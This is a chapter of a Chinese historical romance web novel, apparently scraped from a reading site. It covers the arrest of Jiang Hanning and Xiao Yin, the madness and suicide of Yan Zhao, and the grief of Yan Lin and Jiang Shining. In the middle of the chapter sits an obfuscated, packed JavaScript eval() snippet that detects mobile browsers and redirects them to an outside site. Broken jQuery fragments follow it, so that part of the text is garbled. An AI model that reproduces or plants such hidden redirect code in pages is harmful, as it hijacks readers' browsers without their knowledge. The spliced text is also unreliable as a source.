40. 厮守

作品:《此间春色

    “你大概也没想到,你维护了半生的父亲,竟真的是世人口中贪生怕死之徒吧。”


    “只可惜,你只看见他被世人唾骂郁郁而终,却不知,他实则是心中有愧,又不敢与人言说,唯一知晓真相的妻子病逝,他伤怀,深感这是天谴,才跟着你母亲去了。”


    燕诏红着眼上前,一把掐住了她纤细的脖颈,掐得江晗宁满脸通红,可她仍旧挣扎着笑,那神情,仿佛是在嘲讽眼前之人和自己一样痛苦。


    萧吟在堂上看到这一切,心中十分悲凉,她背对着站在江诗宁面前,轻声地说:


    “你看,都说女子为了情爱能做下惊天动地的蠢事,依我看,世人皆不例外。”


    江诗宁垂眸。


    萧吟又开口:


    “江晗宁第一回同我联系的时候,我心中诧异,问她曾那样爱叶酥,怎么舍得杀他,你猜她说了什么?”


    江诗宁听着。


    “她说,少时不懂情爱,确实因叶酥才华和样貌耽误数年,而今嫁了燕家二公子,才知晓夫妻一体是何含义。她说燕诏待她极好,细致入微,她知晓燕诏一生最在意的就是父亲因岐侯身份而死,更明白他的能力与野心不输岐侯,她便无论如何都要替燕诏争来岐侯之位,万死而不悔。”


    江诗宁喃喃道:


    “万死而不悔...”


    “我这妹妹平日从不轻易站队,便是怕脏了自己的手,竟也有这样的时候。”


    看着不远处燕诏被侍卫拉开,江晗宁红着眼瘫坐在地,她心中感叹,果真世上最难过的是情关,无论是情爱,还是情义,都叫人难以挣脱。


    江晗宁是真心爱上燕诏,却又被他深伤。


    爱之深,恨之切。而今她将一切和盘托出,便是知晓大局已定,眼前的男人再也不值得自己以命相搏,那倒不如鱼死网破。


    “不可能...不可能...我父亲不会的...我父亲不会的!”


    燕诏已然神志不清,在侍卫死死禁锢之下依然奋力挣扎着,口中胡乱不清,已然听不清在喊些什么。


    “来人。”


    燕临一声令下,南院外围涌入大片身着银甲的侍卫,是大理寺的人。


    大理寺卿同叶平成已在院外听了多时,不仅听仔细了叶酥被害的真相,更听清了燕氏两将军战死的旧事。而今真相大白,自然是该收押的收押,该下狱的下狱。


    大理寺卿走到萧吟面前,手中还拿着陛下废她三品诰命的诏书。


    “岐侯果然雷厉风行,你早便怀疑了吧?”


    是了,否则按他的秉性,又怎会同意这样一个女人重新踏入岐侯府的大门。


    “难怪你身负谋害国相之子的罪名却能安然无事,好手段。”


    燕临冷笑,再不愿与她多言。


    萧吟将那把麒麟匕首放在江诗宁的手上,告诉她,从此这一切物归原主,而后便被大理寺的人押走了。


    同燕临擦肩而过之时,她停了一瞬,时隔两年,再次如此近距离地看他,早已是完全不同的心境。萧吟不知自己当年为何恋慕一个男子到失去自我的境地,以至于一步错、步步错,从儿时到十九岁,她痴痴地等着他,直到他彻底厌弃自己,一直到了今天。


    她这一生也曾幸福过,只是不知,同江晗宁那样的‘幸福’比起来,究竟谁更惨些。


    “表哥,能否每年替我在贺显和我那对儿女坟前上支香。”


    燕临没有看她,只是轻轻点了头。


    侍卫带走了萧吟,叶平成便上前同燕临言语了几句,而后,大理寺卿便示意余下的人带走江晗宁。


    她被拖着走时,一旁已神志不清的燕诏猛地挣脱了束缚,脚下一滑,趴在地上。他高束着的乌发平日随风自由扬起,今日却凌乱地铺在他的背上,点在周围的泥里。


    即便如此狼狈不堪,依旧手脚并用地爬到江晗宁身边,死死抱着她的腿,口中喊着:


    “你们不要带走我夫人!不许...不许带走她!”


    江晗宁蹲下身,看见她曾深爱的丈夫今日的模样,心中不由得阵阵发痛。


    他最爱干净,只因父亲一生被人污了名誉,此刻却因神志不清而弄得满身泥污。江晗宁伸手为他捋了捋面上的发丝,而后轻柔地抚上他的脸,开口道:


    “含光,人都要为自己做下的事付出代价,你父亲逃了罪,却难逃心魔,而我没能给你争来你想要的爵位,连你给我的情也是假的,我认了。你为你父亲守了半生清名,现下落得个痴傻的下场,我想上天已经拿走你父亲当年该还的代价了。”


    “就这样傻下去吧,傻一辈子,总比清醒了后发觉一无所有的好。”


    最后,她在燕诏的额间落下一吻,那吻满含了恨与愧,爱和愁。


    一滴泪自眼眶溢满而出,清透的恩怨便凝成这么一颗炽热的泪珠,落在燕诏的眼下,化成了他的泪。


    爱恨交加缠绵得死生无法分离,二人的心中汩汩流着血,两条蜿蜒的小溪,和他们之间的宿缘一般曲折。


    燕诏死死地盯着她的眼睛,神色却比往日间任何一个风和日丽的白夜安宁。或许只有成了痴傻之人,忘却一切的痛苦和仇恨,他才会这般认真地看江晗宁的眼睛。


    她做错了事,从前有江鸿章和齐氏护着,可如今却再也没有人能护住她了。


    大理寺的人带走了江晗宁,她被一左一右架起来,衣裙沾染了泥污,她不在意了。


    只是可惜,这是新制好的襦裙,是燕诏前些日子得了赏赐带回给她的云锦缎。燕诏官职不比燕临,每岁得赏都有定数,却悉数给了她。


    她心中悽悽地想着,原来那花前月下的情真是假的,言她明眸善睐是假的,一切的情爱同夜夜的相交,竟都是假的。


    望着她远去的背影,燕诏痴痴地在地上乱抓,口中咿呀地不知在说些什么。


    燕临俯身过去,问他还想说什么,燕诏便将嘴凑到兄长耳畔,低语了一句。


    燕临沉默看着他,再没说话。


    终于,一切尘埃落定。


    燕临跑到江诗宁身侧,知晓萧吟不会伤她,却还是检查个仔细。江诗宁眼神悲切,仿佛也在


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15227965|164912||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    为妹妹最终的结果心中黯然神伤。


    “她知晓这一切,却仍要为小叔一搏,到头来却是这样的下场。”


    她垂眸,一旁廊下的萧老夫人见二人如此,也不再上前。她今日也是神思倦怠,知晓了太多当年之事,险些晕厥过去,此刻陆夫人忙陪着入了正屋内休息。


    回了北院里,燕和还憨憨地睡着,江诗宁为孩子向上盖了些被子,而后躺在榻上,翻来覆去地无法入睡。


    燕临自背后环上她的腰,轻声道:


    “今日吓着了罢。”


    江诗宁点点头,想了想,却又摇摇头。


    “我只是觉得心中郁结,一时难以接受。”


    燕临将妻子翻过来面对自己,抱她入怀中,一如从前一般一下下轻拍着她的背安抚着,江诗宁这才渐渐好些。


    “诗诗,不要怕,他们既做了错事,理应受到惩处。即便那是我弟妻,我亦不会容许她逍遥法外,这便是律法存在的意义,众生有罪则同罚,绝不叫人逃脱了去。”


    江诗宁点点头,道:


    “晗娘会死吗?”


    燕临沉默了一瞬,答道:


    “不会的。”


    不知又问了什么,江诗宁在他的怀中沉沉地睡了。


    一直到次日午时,她悠悠转醒之时,燕临已从外匆匆赶回,看样子风尘仆仆,定是发生了什么了不得的大事。江诗宁心中发慌,只觉得全身不能控制,忙问:


    “出什么事了?”


    燕临走近了些,站在床榻之前,对她说:


    “含光自尽了。”


    江诗宁一时没反应过来,待回过神来,掀起被子便向外瞧去,只见府内仆妇小厮跪了一地,显然是出了大事的,四下皆死寂一般,只有自己的心跳声,和燕临奔走后粗犷的呼吸声。


    “因为什么?”


    她喃喃自语。


    “他父亲?”


    燕临点点头,而后又开口:


    “就在昨夜,他被送回房后,不知何时捡起了那枚夜明珠的金簪,将它扎进了心窝,分毫不差,丧命当场。今早送饭的婢女叩门不应,推门进去才发现的。”


    他垂眸,又言:


    “我同祖母和母亲商量过了,对昨夜之事秘而不宣,只说他是伤心太过,便急症发作去了,大大地办一场礼,还是葬进燕氏陵寝,在二叔和二叔母的旁边。”


    江诗宁点点头,问:


    “晗娘呢?”


    燕临握着衣袖,答道:


    “关在大理寺中,等候结果。”


    江诗宁走近燕临,双手捧着他的脸,认真地盯着夫君的眸子,道:


    “夫君,你若难受,便哭出来罢,在这不会有人知道的,你在我的面前也不必掩饰。”


    听了这话,似乎戳到燕临的痛处,他跪坐下来,抱着江诗宁的腰部,长久地沉默下去。


    江诗宁蹲下身来,二人相对跪坐着,燕临就这样趴在她的膝上默默落泪。


    她很少见到燕临哭。


    这一回,不知他是为了什么而落泪。